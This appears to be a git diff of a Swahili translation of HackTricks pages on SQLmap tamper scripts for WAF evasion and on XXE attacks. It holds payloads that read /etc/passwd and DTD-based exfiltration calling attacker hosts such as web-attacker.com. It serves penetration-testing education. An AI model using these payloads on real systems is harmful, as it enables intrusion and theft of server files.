| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "%u0022" |
|
||||
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "\u0022" |
|
||||
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' |
|
||||
| escapequotes.py | Huondoa kukwama kwa nukuu \(' na "\) |
|
||||
| greatest.py | Hubadilisha opereta kubwa zaidi \('>'\) na sawa yake ya 'GREATEST' |
|
||||
| escapequotes.py | Huondoa herufi za nukuu \(' na "\) |
|
||||
| greatest.py | Hubadilisha opereta ya zaidi ya \('>'\) na sawa yake ya 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
|
||||
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Huweka swali lote ndani ya maoni yenye toleo |
|
||||
| modsecurityzeroversioned.py | Huweka swali lote ndani ya maoni yenye toleo sifuri |
|
||||
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilisha \(e.g. .replace\("SELECT", ""\)\) filters |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilishwa \(e.g. .replace\("SELECT", ""\)\) filters |
|
||||
| percentage.py | Huongeza alama ya asilimia \('%'\) mbele ya kila herufi |
|
||||
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika iliyokodishwa tayari\) |
|
||||
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
|
||||
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
|
||||
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
|
||||
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
|
||||
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa logi za DBMS |
|
||||
| space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni |
|
||||
| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
|
||||
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
|
||||
| space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni |
|
||||
| space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
|
||||
| space2hash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
|
||||
| space2morehash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
|
||||
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
|
||||
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mysqldash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) |
|
||||
| space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
|
||||
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| symboliclogical.py | Hubadilisha opereta za AND na OR za kiakili na sawa zao za alama \(&& na |
|
||||
| space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
|
||||
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na |
|
||||
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
|
||||
| unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) |
|
||||
| unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa multi-byte %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) |
|
||||
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
|
||||
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
|
||||
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
|
||||
| versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo |
|
||||
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Msingi wa hoja za maneno kwa SQLmap
|
||||
## Msingi wa hoja za maelekezo kwa SQLmap
|
||||
|
||||
### Kawaida
|
||||
```bash
|
||||
@ -30,10 +30,10 @@ Kila herufi inahusiana na darasa tofauti la payloads:
|
||||
|
||||
| Herufi | Mbinu | Maelezo |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Inatumia hali za kweli/false katika majibu ya ukurasa ili kudokeza matokeo |
|
||||
| B | Boolean-based blind | Inatumia hali za kweli/false katika jibu la ukurasa ili kudokeza matokeo |
|
||||
| E | Error-based | Inatumia ujumbe wa makosa ya DBMS wenye maelezo mengi ili kutoa data |
|
||||
| U | UNION query | Inajumuisha taarifa za `UNION SELECT` ili kupata data kupitia channel ile ile |
|
||||
| S | Stacked queries | Inajumuisha taarifa za ziada zilizotenganishwa na delimiter ya SQL (`;`) |
|
||||
| S | Stacked queries | Inajumuisha taarifa za ziada zilizotengwa na delimiter ya SQL (`;`) |
|
||||
| T | Time-based blind | Inategemea ucheleweshaji wa `SLEEP/WAITFOR` kugundua hali zinazoweza kuingizwa |
|
||||
| Q | Inline / out-of-band | Inatumia kazi kama `LOAD_FILE()` au exfiltration ya DNS kutoa data |
|
||||
|
||||
@ -145,7 +145,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
### Kichwa cha Msingi
|
||||
### Kichwa cha Kwanza
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
@ -161,57 +161,57 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahis
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
```
|
||||
| Tamper | Maelezo |
|
||||
| Tamper | Maelezo |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili |
|
||||
| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode |
|
||||
| apostrophemask.py | Hubadilisha herufi ya apostrofi na sawa yake ya UTF-8 yenye upana kamili |
|
||||
| apostrophenullencode.py | Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya double unicode |
|
||||
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyokodishwa mwishoni mwa payload |
|
||||
| base64encode.py | Hubadilisha wahusika wote katika payload iliyotolewa kuwa Base64 |
|
||||
| between.py | Hubadilisha opereta kubwa zaidi ('>') na 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Huongeza url-encode mara mbili wahusika wote katika payload iliyotolewa (sio kusindika iliyokodishwa tayari) |
|
||||
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa base64 |
|
||||
| between.py | Hubadilisha opereta kubwa zaidi ('>') na 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Hubadilisha herufi zote kwa njia ya url-encode mara mbili katika payload iliyotolewa (sio kusindika iliyokodishwa tayari) |
|
||||
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Huongeza url-encode wahusika wote katika payload iliyotolewa (sio kusindika iliyokodishwa tayari) |
|
||||
| charunicodeencode.py | Huongeza unicode-url-encode wahusika wasio kodishwa katika payload iliyotolewa (sio kusindika iliyokodishwa tayari). "%u0022" |
|
||||
| charunicodeescape.py | Huongeza unicode-url-encode wahusika wasio kodishwa katika payload iliyotolewa (sio kusindika iliyokodishwa tayari). "\u0022" |
|
||||
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa url-encoded (sio kusindika iliyokodishwa tayari) |
|
||||
| charunicodeencode.py | Hubadilisha herufi zisizokodishwa kuwa unicode-url-encoded katika payload iliyotolewa (sio kusindika iliyokodishwa tayari). "%u0022" |
|
||||
| charunicodeescape.py | Hubadilisha herufi zisizokodishwa kuwa unicode-url-encoded katika payload iliyotolewa (sio kusindika iliyokodishwa tayari). "\u0022" |
|
||||
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE' |
|
||||
| escapequotes.py | Huondoa kukimbia nukuu (' na ") |
|
||||
| escapequotes.py | Huondoa nukta za kukwepa kwenye quotes (' na ") |
|
||||
| greatest.py | Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
|
||||
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
|
||||
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Huongeza swali kamili na maoni yenye toleo |
|
||||
| modsecurityzeroversioned.py | Huongeza swali kamili na maoni yasiyo na toleo |
|
||||
| modsecurityversioned.py | Inajumuisha swali kamili na maoni yenye toleo |
|
||||
| modsecurityzeroversioned.py | Inajumuisha swali kamili na maoni yasiyo na toleo |
|
||||
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilisha (mfano. .replace("SELECT", "")) filters |
|
||||
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
|
||||
| overlongutf8.py | Hubadilisha wahusika wote katika payload iliyotolewa (sio kusindika iliyokodishwa tayari) |
|
||||
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilisha (mfano: .replace("SELECT", "")) filters |
|
||||
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
|
||||
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika iliyokodishwa tayari) |
|
||||
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
|
||||
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
|
||||
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
|
||||
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa logi za DBMS |
|
||||
| space2comment.py | Hubadilisha herufi ya nafasi (' ') na maoni |
|
||||
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya wahusika mbadala |
|
||||
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya wahusika mbadala |
|
||||
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
|
||||
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
|
||||
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
|
||||
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa logi za DBMS |
|
||||
| space2comment.py | Hubadilisha herufi ya nafasi (' ') na maoni |
|
||||
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
|
||||
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
|
||||
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
|
||||
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya wahusika mbadala |
|
||||
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nafasi ya nasibu kutoka seti halali ya herufi mbadala |
|
||||
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama (&& na |
|
||||
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
|
||||
| unmagicquotes.py | Hubadilisha herufi ya nukuu (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
|
||||
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
|
||||
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Huongeza kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
|
||||
| versionedmorekeywords.py | Huongeza kila neno muhimu na maoni ya MySQL yenye toleo |
|
||||
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
|
||||
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
|
||||
| unmagicquotes.py | Hubadilisha herufi ya nukta (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
|
||||
| uppercase.py | Hubadilisha kila herufi ya neno muhimu kuwa thamani ya herufi kubwa 'INSERT' |
|
||||
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Inajumuisha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
|
||||
| versionedmorekeywords.py | Inajumuisha kila neno muhimu na maoni ya MySQL yenye toleo |
|
||||
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
|
||||
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
|
||||
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
|
||||
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinaruhusu uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
|
||||
- **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
|
||||
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopaswa kuandikwa na kuthibitishwa.
|
||||
- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa.
|
||||
- **Vitu vya Kawaida na vya Nje**: XML inasaidia kuunda vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinainua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Ili kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -65,7 +65,7 @@ Katika kesi hii ya tatu, angalia tunatangaza `Element stockCheck` kama ANY.
|
||||
|
||||
### Orodha ya saraka
|
||||
|
||||
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa payload kama (kuuliza tu saraka badala ya faili):
|
||||
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuorodhesha maudhui ya saraka** kupitia XXE kwa kutumia payload kama (kuomba tu saraka badala ya faili):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -91,7 +91,7 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva un
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrate data out-of-band
|
||||
|
||||
**Katika tukio hili tutafanya server i-load DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**Katika tukio hili tutafanya server iandae DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:
|
||||
|
||||
@ -121,18 +121,18 @@ Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hii payload in定义 XML parameter entity `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwa seva ya mshambuliaji.
|
||||
Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inashughulikiwa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwenye seva ya mshambuliaji.
|
||||
|
||||
### Makosa Yanayotokana na (External DTD)
|
||||
|
||||
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo:
|
||||
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo:
|
||||
|
||||
1. XML parameter entity inayoitwa `file` inafafanuliwa, ambayo ina maudhui ya faili ya `/etc/passwd`.
|
||||
2. XML parameter entity inayoitwa `eval` inafafanuliwa, ikijumuisha tangazo la dynamic kwa XML parameter entity nyingine inayoitwa `error`. Hii `error` entity, inapothibitishwa, inajaribu kupakia faili isiyopo, ikijumuisha maudhui ya `file` entity kama jina lake.
|
||||
3. `eval` entity inaitwa, ikisababisha tangazo la dynamic la `error` entity.
|
||||
4. Kuitwa kwa `error` entity kunasababisha jaribio la kupakia faili isiyopo, ikizalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
1. Kigezo cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake.
|
||||
3. Kigezo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la kigezo cha `error`.
|
||||
4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
||||
|
||||
DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo:
|
||||
```xml
|
||||
@ -150,9 +150,9 @@ _**Tafadhali notice kwamba DTD ya nje inatuhitaji kujumuisha kiumbe kimoja ndani
|
||||
|
||||
Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)?
|
||||
|
||||
Kipengele katika maelezo ya lugha ya XML kinaweza **kuonyesha data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
|
||||
Kipengele katika spesifikasisi ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa kigezo cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti.
|
||||
|
||||
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo:
|
||||
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja kiumbe kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD mchanganyiko kama ifuatavyo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -165,13 +165,13 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Hatua zilizoelezwa zinafanywa na hii DTD:
|
||||
Hatua zilizoelezwa zinafanywa na DTD hii:
|
||||
|
||||
